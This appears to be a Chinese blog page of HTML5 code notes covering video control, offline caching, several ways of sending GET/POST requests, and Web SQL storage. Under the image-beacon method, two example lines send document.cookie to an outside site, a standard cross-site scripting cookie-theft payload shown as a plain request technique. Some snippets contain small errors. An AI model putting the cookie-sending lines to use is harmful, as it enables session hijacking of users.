您的位置：首页 > Web前端 > HTML5

HTML5 代码实例

2016-01-29 15:09 621 查看


1. HTML5 代码与测试

html5代码
作用代码备注
video<video id="h5v-video-ID" width="100%" height="100%" preload="meta" x-webkit-airplay="allow" webkit-playsinline="true" autoplay="" src="http://XXX.mp4"><p class="no-support">抱歉，您的浏览器不支持HTML5 video</p></video>

var myVideo=document.getElementById("h5v-video-ID");

myVideo.pause();

myVideo.play();

alert(myVideo.src);

myVideo.width=335;// 变小

myVideo.width=535;//变大		 
cookiehttp://blog.csdn.net/huazhongkejidaxuezpp/article/details/50259419 
localstoragehttp://blog.csdn.net/huazhongkejidaxuezpp/article/details/50283081 
HTML5 离线缓存-manifestjs可以手动更新本地缓存:

window.applicationCache.update();

即使下载完新的缓存，也不意味这页面会更新，我们需要重新加载一次页面

 if (confirm('页面已更新，是否加载新内容?')) {

        window.location.reload();

      }

Manifest的特点

离线浏览: 用户可以在离线状态下浏览网站内容。

更快的速度: 因为数据被存储在本地，所以速度会更快.

减轻服务器的负载: 浏览器只会下载在服务器上发生改变的资源。

更多参考：

http://blogread.cn/it/article/7176
http://www.cnblogs.com/dolphinX/p/3439970.html		 
向服务器请求数据（发送get/post请求）
方法零：

方法一：form  ｇｅｔ＋ｐｏｓｔ

<form action="http://XXX.jsp" method="get" id='matchWrapperForm' target="_blank">

<td><input type='submit' value='match'></td></tr>

<tr><td>fromCity:</td><td><input name='fromCity'  value='PEK' /></td></tr>

<tr><td>toCity:</td><td><input name='toCity'  value='SHA'></td></tr>

</form>
方法一：ajax(post + get)

post:

var url = '/data.php';

      var params = [

            'id=934875',

            'limit=20'

      ];

      var req = new XMLHttpRequest();

      req.onreadystatechange = function() {

            if (req.readyState=== 4) {

                  var responseHeaders = req.getAllResponseHeaders();

                  var data = req.responseText;

            }

      }

      req.open('GET', url + '?' + params.join('&'), true);

      req.setRequestHeader('X-Requested-With', 'XMLHttpRequest');

      req.send(null);

get :

        var url="xxx";

        xmlHttp=GetXmlHttpObject();

        xmlHttp.onreadystatechange=function()

        {

            if (xmlhttp.readyState==4 && xmlhttp.status==200)

            {

                var d= xmlHttp.responseText;

                var json =JSON.parse(d);

                document.getElementById("resultget").value=json.mockposturl;

                /

            }

        }

        xmlHttp.open("GET",url,true);

        xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

        xmlHttp.send();

方法二：灯标（不能发送POST 数据）

//第一种GET方式  

new Image().src="http://www.3g-sec.com/forum.php?cookie="+escape(document.cookie);  

//第二种GET方式  

location.href="http://www.3g-sec.com/forum.php?cookie="+escape(document.cookie); 

具体：
var url = '/status_tracker.php';
      var params = [
            'step=2',
            'time=1248027314'
      ];
      (new Image()).src = url + '?' + params.join('&');

注：
 服务器取得此数据并保存下来，而不必向客户端返回什么，因此没有实际的图像显示。这是将信息发回服务器的最有效方法。其开销很小，而且任何服务器端错误都不会影响客户端。

方法三：动态脚本标签插入

  var scriptElement = document.createElement('script');
      scriptElement.src = 'http://any-domain.com/javascript/lib.js';//任意的url
      document.getElementsByTagName_r('head')[0].appendChild(scriptElement);
      function jsonCallback(jsonString) {
            var data = ('(' + jsonString + ')');
      }

注：  但是动态脚本标签插入与XHR相比只提供更少的控制。你不能通过请求发送信息头。参数只能通过GET方法传递，不能用POST。你不能设置请求的超时或重试，实际上，你不需要知道它是否失败了。你必须等待所有数据返回之后才可以访问它们。你不能访问响应信息头或者像访问字符串那样访问整个响应报文。

方法四：使用document.write直接写入

<script type="text/javascript">  

var v='其实这个例子举得非常失败，我。。。';   

document.write('<script type="text\/javascript" src="s.js?"'+Math.random()+'><\/script>');   

</script>  

这两种都能轻松的动态创建一个script标签，来构造get请求

参考：
http://sjolzy.cn/JS-GET-request-for-the-dynamic-structure.html
http://www.html5china.com/js/jsadv/20111120_2731.html
 
js跨域及解决方案http://blog.csdn.net/huazhongkejidaxuezpp/article/details/50607399 
HTML5 Web SQL 数据库---
SQLite数据库		1） 与 会话级别的本地存储：sessionStorage ，永久本地存储：localStorage 的区别

虽然Html5已经提供了功能强大的localStorage和sessionStorage，但是他们两个都只能提供存储简单数据结构的数据，对于复杂的Web应用的数据却无能为力。
逆天的是Html5提供了一个浏览器端的数据库支持，允许我们直接通JS的API在浏览器端创建一个本地的数据库，而且支持标准的SQL的CRUD操作，让离线的Web应用更加方便的存储结构化的数据

2）存储在了：假定我安装到了C:\Documents and Settings\charles.wang\Local Settings\Application Data\Google\Chrome

那么SQLite数据库就安装到了$CHROME_HOME\User Data\Default\databases中

这个目录中databases.db是当前用户的所有创建的数据库的配置，而file__0目录则是数据库表文件目录

用法：
http://www.runoob.com/html/html5-web-sql.html
http://www.2cto.com/kf/201205/130762.html

http://www.cnblogs.com/fly_dragon/p/3946012.html
 
js内存泄漏  
   
   
   
   
   
   
   
   
   
   
   
   
   
   
内容来自用户分享和网络整理，不保证内容的准确性，如有侵权内容，可联系管理员处理 点击这里给我发消息
标签： 
相关文章推荐
新的分享
章节导航